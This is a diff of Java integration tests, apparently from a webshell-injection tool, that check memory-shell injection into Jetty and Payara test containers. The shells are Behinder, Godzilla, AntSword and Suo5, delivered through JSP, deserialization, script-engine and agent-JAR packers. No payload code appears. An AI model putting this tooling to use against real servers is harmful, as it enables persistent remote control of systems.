arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -43,23 +43,36 @@ public class Jetty94ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,38 +36,66 @@ public class Payara5201ContainerTest {
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine)
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -80,6 +108,6 @@ public class Payara5201ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
}
}
@@ -17,8 +17,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.glassfishPid;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,29 +36,51 @@ public class Payara520225ContainerTest {
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize)
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -71,6 +93,6 @@ public class Payara520225ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
}
}
@@ -17,8 +17,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -36,29 +35,43 @@ public class Payara620222ContainerTest {
@Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize)
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -71,6 +84,6 @@ public class Payara620222ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
}
}

Some files were not shown because too many files have changed in this diff Show More